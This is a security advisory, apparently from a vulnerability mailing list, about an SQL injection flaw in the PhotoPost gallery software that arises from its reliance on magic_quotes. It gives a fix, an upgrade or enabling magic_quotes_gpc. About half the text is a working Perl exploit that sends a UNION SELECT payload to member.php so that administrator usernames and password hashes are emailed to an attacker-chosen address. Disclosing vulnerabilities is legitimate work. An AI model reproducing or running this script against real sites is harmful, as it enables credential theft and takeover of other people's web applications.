[UNIX] PhotoPost Arbitrary Data (Exploit)

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  PhotoPost Arbitrary Data (Exploit)
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SUMMARY

 <http://www.photopost.com/> PhotoPost is "a popular commercial image 
publishing software. Everyone loves showing off their photos! Add 
PhotoPost to your site, or let us install it for you,and your visitors 
will be able to upload their photos to galleries on your site and interact 
in photo discussions. Join the 3,500+ sites that are already using 
PhotoPost and add a fun new dimension to your website". A vulnerability 
caused by PhotoPost's reliance on magic_quotes allows a remote attacker to 
cause the program to execute arbitrary SQL statements with which a user 
can disclose the MD5 hash of the administrator password.

DETAILS

PhotoPost (further on - PP) is built on a highly risky principle of 
filtering input data, based on magic_quotes:
magic_quotes_gpc boolean
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When 
magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) 
and NUL's are escaped with a backslash automatically.

Turning magic_quotes on is neglected by a large percentage of PP users. It 
is a good idea not to rely on user interaction in the essential matter of 
data filtering and write nested procedures based on on the 
mysql_escape_string/mysql_real_escape_string functions instead. Adding a 
few native strings of code  would have definitely fixed that "human" 
factor. Many users do not have any idea what magic_quotes is and what it 
is for and what their negligence will lead them to, even despite a warning 
PP gives while installing. If one were to look into architecture PP is 
assembled upon, it would become clear that PP should even not attempt to 
install itself on systems with magic_quotes turned off.

Solution:
Vendor was contacted. Upgrade to the latest version, or set .htaccess 
php_value magic_quotes_gpc 1

Exploit:
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
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#
#
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on your mail.
#
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#

use IO::Socket;

if (@ARGV < 3)
 {
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}

system "clear";

$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];

print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
        Proto => "tcp",
        PeerAddr => "$ARGV[0]",
        PeerPort => "80"); unless ($socket)
{
  die "Server is offline\n"
}

print "[+]Connected\n\n";
print "[+]Building string core..\n";

$stringcore = 
'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0", $mail, 
%20concat(username,"%20",%20password)%20from%20users';

print "Sent 0day..\n\n";
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";
print "Server Exploited\n";
print "You should check $mail now";
close($socket);


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> eric 
basher.



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